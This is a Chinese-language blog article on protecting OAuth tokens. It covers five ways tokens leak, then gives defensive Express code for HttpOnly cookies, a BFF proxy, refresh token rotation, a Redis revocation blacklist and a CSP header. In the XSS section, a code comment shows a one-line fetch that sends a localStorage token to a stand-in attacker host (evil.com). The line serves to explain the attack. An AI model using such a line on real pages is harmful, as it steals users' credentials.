2026 年 6 月,一个 VSCode 的安全漏洞刷屏了 Hacker News——攻击者只需诱导开发者点击一个恶意链接,就能在 1 秒内窃取 GitHub OAuth Token,进而接管仓库、读取代码、甚至发布恶意提交,影响超过 3000 万开发者。这个漏洞再次证明:OAuth 令牌(Token)的安全存储和传输,是每一个开发者都必须认真对待的工程问题。
本文不讲 OAuth 的基础流程(那已经烂大街了),而是聚焦在 Token 安全这个被大多数人忽视的角落——从攻击者视角出发,分析 Token 泄露的 5 种常见路径,给出经过实战验证的防御方案,并附上可直接复用的代码。
🔐 一、Token 泄露的 5 种攻击路径
在讨论防御之前,我们必须先理解攻击。大多数 Token 泄露并非源于加密算法被破解,而是来自工程层面的疏忽。
1.1 XSS 窃取 localStorage 中的 Token
这是最经典、也是最高频的攻击路径。很多开发者图省事,把 Access Token 直接存在 localStorage 里:
// ❌ 危险写法:Token 存在 localStorage 中,任何 XSS 都能读取
loginSuccess(token) {
localStorage.setItem('access_token', token)
// 一旦页面存在 XSS 漏洞,攻击者只需一行代码:
// fetch('https://evil.com/steal?token=' + localStorage.getItem('access_token'))
}
⚠️ 警告:
localStorage没有任何域名隔离之外的保护机制。任何能执行 JavaScript 的上下文(包括第三方脚本、浏览器扩展、注入的 XSS)都能直接读取它。不存在「加密后再存储」的安全方案——因为解密密钥也在同一个 JavaScript 上下文中。
1.2 URL 中的 Token 被 Referer 泄露
OAuth 2.0 授权码流程(Authorization Code Flow)中,Token 不会出现在 URL 中。但很多旧实现、第三方 SDK 仍然使用隐式授权流程(Implicit Flow),把 Token 直接放在 URL Fragment 中:
https://app.example.com/callback#access_token=eyJhbGciOiJSUzI1NiIs...
虽然 Fragment 不会随 HTTP 请求发送,但它会出现在 Referer 头中(如果页面加载了外部资源),也可能被浏览器历史记录、扩展程序、以及日志系统捕获。
1.3 第三方 Cookie 限制导致 Token 泄露
随着 Chrome 逐步淘汰第三方 Cookie(Privacy Sandbox 计划),很多依赖第三方 Cookie 做 SSO 的方案开始失败。部分开发者被迫把 Token 通过 URL 参数传递给第三方 iframe,这直接暴露了 Token。
1.4 浏览器扩展窃取 Token
浏览器扩展拥有比普通页面更高的权限。一个恶意扩展可以读取 localStorage、拦截网络请求、甚至修改 DOM 来捕获用户输入的凭据。VSCode 的那个漏洞本质上就属于这一类——通过 Webview 注入脚本,窃取存储在环境中的 Token。
1.5 日志和监控系统泄露 Token
很多开发者在调试时把 Token 打到 console.log,或者在错误上报时把请求头中的 Authorization 字段一起发送。如果错误监控平台(如 Sentry、Datadog)的安全性不足,Token 就会暴露在第三方平台上。
// ❌ 危险写法:把 Token 输出到日志
console.log('API Request:', {
url: '/api/user',
headers: { Authorization: `Bearer ${accessToken}` } // Token 被记录到日志
})
// ✅ 安全写法:脱敏处理
console.log('API Request:', {
url: '/api/user',
headers: { Authorization: `Bearer ${accessToken.substring(0, 10)}...` }
})
🛡️ 二、Token 存储方案对比与选型
理解了攻击路径,接下来就是最关键的问题:Token 到底存在哪里?
2.1 四种主流存储方案对比
| 方案 | XSS 防护 | CSRF 防护 | 实现复杂度 | 适用场景 | 推荐度 |
|---|---|---|---|---|---|
| localStorage | ❌ 无 | ✅ 天然免疫 | ⭐ 低 | 内部工具、低安全要求 | ❌ 不推荐 |
| sessionStorage | ❌ 无 | ✅ 天然免疫 | ⭐ 低 | 临时会话 | ⚠️ 谨慎使用 |
| HttpOnly Cookie | ✅ 有效 | ❌ 需额外防护 | ⭐⭐ 中 | Web 应用(推荐) | ✅ 推荐 |
| BFF 代理模式 | ✅ 有效 | ✅ 有效 | ⭐⭐⭐ 高 | 高安全要求的生产环境 | ✅✅ 最佳 |
2.2 方案一:HttpOnly Secure Cookie(推荐大多数场景)
HttpOnly Cookie 的核心优势是:JavaScript 无法读取它,因此 XSS 攻击者即使注入了脚本,也无法直接窃取 Token。
// ✅ 后端设置 HttpOnly Cookie(Node.js / Express 示例)
// server.js
const express = require('express')
const app = express()
app.post('/api/login', async (req, res) => {
const { username, password } = req.body
const user = await authenticateUser(username, password)
if (!user) {
return res.status(401).json({ error: '认证失败' })
}
const accessToken = generateAccessToken(user)
const refreshToken = generateRefreshToken(user)
// Access Token 存 HttpOnly Cookie
res.cookie('access_token', accessToken, {
httpOnly: true, // JavaScript 无法读取
secure: true, // 仅 HTTPS 传输
sameSite: 'Strict', // 防止 CSRF
maxAge: 15 * 60 * 1000, // 15 分钟
path: '/'
})
// Refresh Token 单独设置,更长有效期
res.cookie('refresh_token', refreshToken, {
httpOnly: true,
secure: true,
sameSite: 'Strict',
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 天
path: '/api/auth/refresh' // 限制路径,缩小攻击面
})
res.json({ success: true, user: { id: user.id, name: user.name } })
})
前端请求时,Token 会自动附带,无需手动管理:
// ✅ 前端请求自动携带 Cookie(无需手动管理 Token)
// api.js
const fetchUserData = async () => {
const response = await fetch('/api/user/profile', {
credentials: 'include', // 关键:携带 Cookie
})
if (response.status === 401) {
// Token 过期,尝试刷新
const refreshResult = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include'
})
if (refreshResult.ok) {
// 刷新成功,重试原请求
return fetch('/api/user/profile', { credentials: 'include' })
} else {
// 刷新也失败,跳转登录
window.location.href = '/login'
}
}
return response.json()
}
💡 **提示:**使用 Cookie 方案时,必须配合 CSRF 防护(SameSite 属性 + CSRF Token),否则会引入新的攻击面。
2.3 方案二:BFF 代理模式(高安全场景最佳方案)
Backend For Frontend(BFF)模式的核心思想是:Token 永远不离开服务器。前端只持有会话 Cookie(Session ID),所有需要 Token 的请求都通过 BFF 服务器代理。
// ✅ BFF 代理模式(Node.js + Express)
// bff-server.js
const express = require('express')
const session = require('express-session')
const { createProxyMiddleware } = require('http-proxy-middleware')
const app = express()
// 会话管理(服务端存储)
app.use(session({
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 24 * 60 * 60 * 1000
}
}))
// 登录接口:获取 Token 并存入服务端 Session
app.post('/auth/login', async (req, res) => {
const tokenResponse = await fetch('https://auth-server.com/oauth/token', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
grant_type: 'password',
username: req.body.username,
password: req.body.password,
client_id: process.env.CLIENT_ID,
client_secret: process.env.CLIENT_SECRET
})
})
const tokens = await tokenResponse.json()
// Token 存在服务端 Session 中,前端永远看不到
req.session.accessToken = tokens.access_token
req.session.refreshToken = tokens.refresh_token
res.json({ success: true })
})
// API 代理:自动注入 Token
app.use('/api', (req, res, next) => {
if (!req.session.accessToken) {
return res.status(401).json({ error: '未登录' })
}
// 代理请求到真实 API,并注入 Token
createProxyMiddleware({
target: 'https://api-server.com',
changeOrigin: true,
pathRewrite: { '^/api': '' },
onProxyReq(proxyReq) {
proxyReq.setHeader('Authorization', `Bearer ${req.session.accessToken}`)
}
})(req, res, next)
})
app.listen(3001, () => console.log('BFF Server running on :3001'))
⚡ **关键结论:**BFF 模式下,前端 JavaScript 的 XSS 漏洞无法泄露 Token——因为 Token 根本不存在于前端的任何存储中。这是目前业界公认的安全性最高的方案。
🔄 三、Token 刷新与轮换策略
Token 的安全不仅在于存储,还在于生命周期管理。一个好的 Token 刷新策略能在 Token 被泄露时,快速将损失降到最低。
3.1 短生命周期 Access Token + 长生命周期 Refresh Token
┌─────────────────────────────────────────────────┐
│ Access Token (15 分钟) │
│ → 存 HttpOnly Cookie / BFF Session │
│ → 过期后用 Refresh Token 换新的 │
├─────────────────────────────────────────────────┤
│ Refresh Token (7 天) │
│ → 仅在 /auth/refresh 路径使用 │
│ → 支持 Rotation(每次使用后废弃旧的,发新的) │
│ → 支持 Revoke(服务端可随时吊销) │
└─────────────────────────────────────────────────┘
3.2 Refresh Token Rotation(刷新令牌轮换)
Refresh Token Rotation 是一种关键的防御策略:每次使用 Refresh Token 换取新 Token 时,旧的 Refresh Token 立即失效。如果攻击者已经窃取了 Refresh Token,合法用户的下一次刷新操作会导致攻击者手中的 Token 失效,同时触发告警。
// ✅ Refresh Token Rotation 实现
// auth-service.js
const refreshTokens = new Map() // 生产环境用 Redis
function generateTokenPair(user) {
const accessToken = jwt.sign(
{ sub: user.id, role: user.role },
ACCESS_TOKEN_SECRET,
{ expiresIn: '15m' }
)
const refreshToken = crypto.randomBytes(64).toString('hex')
// 存储 Refresh Token 及其关联信息
refreshTokens.set(refreshToken, {
userId: user.id,
familyId: crypto.randomUUID(), // Token 家族,用于检测泄露
expiresAt: Date.now() + 7 * 24 * 60 * 60 * 1000,
used: false
})
return { accessToken, refreshToken }
}
async function rotateRefreshToken(oldRefreshToken) {
const tokenData = refreshTokens.get(oldRefreshToken)
if (!tokenData) {
// 无效 Token,可能是攻击
throw new Error('Invalid refresh token')
}
if (tokenData.used) {
// Token 已被使用过!说明可能存在泄露
// 吊销整个 Token 家族
revokeTokenFamily(tokenData.familyId)
throw new Error('Token reuse detected - possible breach')
}
// 标记旧 Token 为已使用
tokenData.used = true
// 生成新的 Token 对
const user = await getUserById(tokenData.userId)
return generateTokenPair(user)
}
function revokeTokenFamily(familyId) {
for (const [token, data] of refreshTokens) {
if (data.familyId === familyId) {
refreshTokens.delete(token)
}
}
// 同时吊销该用户的所有活跃会话
logSecurityEvent('TOKEN_FAMILY_REVOKED', { familyId })
}
📌 **记住:**Refresh Token Rotation 不仅是一种安全措施,更是一种入侵检测机制。如果检测到 Token 复用,几乎可以确定 Token 已经泄露。
3.3 Token 吊销(Revocation)
当用户登出、修改密码、或检测到异常活动时,必须能立即吊销 Token。JWT 本身是无状态的,无法被吊销——这是一个被很多人忽视的致命缺点。
解决方案是维护一个 Token 黑名单(使用 Redis 的 Set 数据结构,配合 TTL 自动过期):
// ✅ Token 黑名单实现
// token-blacklist.js
const Redis = require('ioredis')
const redis = new Redis()
async function revokeToken(jti, exp) {
// jti: JWT ID(每个 Token 的唯一标识)
// exp: Token 过期时间(Unix 时间戳)
const ttl = exp - Math.floor(Date.now() / 1000)
if (ttl > 0) {
// 黑名单条目在 Token 原本过期后自动删除
await redis.setex(`blacklist:${jti}`, ttl, 'revoked')
}
}
async function isTokenRevoked(jti) {
return await redis.exists(`blacklist:${jti}`)
}
// 中间件:检查 Token 是否被吊销
async function authMiddleware(req, res, next) {
const token = extractToken(req)
try {
const payload = jwt.verify(token, ACCESS_TOKEN_SECRET)
// 检查黑名单
if (await isTokenRevoked(payload.jti)) {
return res.status(401).json({ error: 'Token 已被吊销' })
}
req.user = payload
next()
} catch (err) {
return res.status(401).json({ error: 'Token 无效' })
}
}
⚡ 四、前端 Token 安全最佳实践清单
综合以上分析,这里是一份可直接复用的前端 Token 安全检查清单:
| # | 检查项 | 优先级 | 说明 |
|---|---|---|---|
| 1 | Token 不存 localStorage | P0 | 使用 HttpOnly Cookie 或 BFF 模式 |
| 2 | 所有 Cookie 设置 Secure + HttpOnly | P0 | 防止明文传输和 JS 读取 |
| 3 | Cookie 设置 SameSite=Strict | P0 | 防止 CSRF 攻击 |
| 4 | Access Token 有效期 ≤ 15 分钟 | P1 | 缩小泄露后的攻击窗口 |
| 5 | 实现 Refresh Token Rotation | P1 | 检测并阻断 Token 泄露 |
| 6 | 实现 Token 黑名单 | P1 | 支持即时吊销 |
| 7 | CSP 头限制脚本来源 | P1 | 降低 XSS 风险 |
| 8 | 日志脱敏 | P2 | 防止 Token 进入日志系统 |
| 9 | 监控异常 Token 使用 | P2 | 地理位置突变、设备指纹变化 |
| 10 | 定期轮换签名密钥 | P2 | 降低密钥泄露的影响 |
CSP(Content Security Policy)头的配置示例:
# ✅ Nginx CSP 配置示例
# 限制脚本只能从同源和指定 CDN 加载
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
" always;
⚠️ 警告:
connect-src必须显式声明 API 域名。如果遗漏,XSS 攻击者可以通过fetch()把数据发送到任意域名。很多开发者只关注script-src,忽略了connect-src的重要性。
💡 五、真实案例复盘与总结
回到文章开头的 VSCode 漏洞:攻击者通过构造恶意的 VSCode 扩展市场链接,在 Webview 中注入脚本,窃取了存储在环境变量中的 GitHub OAuth Token。这个漏洞的本质问题是:
- Token 存储位置不安全——环境变量和本地文件对同进程的脚本完全透明
- 缺少 Token 轮换机制——Token 一旦泄露,攻击者可以长期使用
- 权限范围过大——被盗的 Token 拥有完整的仓库读写权限,而非最小权限
这三个问题恰好对应了本文的核心观点:
- ✅ 存储:Token 必须存在 JavaScript 运行时无法直接访问的位置(HttpOnly Cookie / 服务端 Session)
- ✅ 轮换:必须实现 Refresh Token Rotation,让泄露的 Token 快速失效
- ✅ 最小权限:OAuth Scope 必须按需申请,不要贪图方便给全部权限
**最终建议:**如果你在做新项目,直接用 BFF 代理模式——虽然实现复杂度最高,但安全性远超其他方案。如果你在维护旧项目,至少把 Token 从 localStorage 迁移到 HttpOnly Cookie,并实现 Refresh Token Rotation。这两个改动的工作量不超过 2 天,但能消除 90% 的 Token 泄露风险。
⚡ **关键结论:**Token 安全不是一个「可以以后再做」的优化项,而是上线前必须完成的 P0 级工程任务。每一次数据泄露事件都在提醒我们:安全不是功能,是底线。
相关工具推荐:
- 🔧 JWT.io — 在线调试和解码 JWT Token
- 🔧 Mozilla Observatory — 检测网站安全头配置
- 🔧 jsjson.com 在线加密工具 — RSA 加密解密工具,可用于理解非对称加密在 Token 签名中的应用
- 🔧 OWASP OAuth Cheat Sheet — OAuth 安全速查表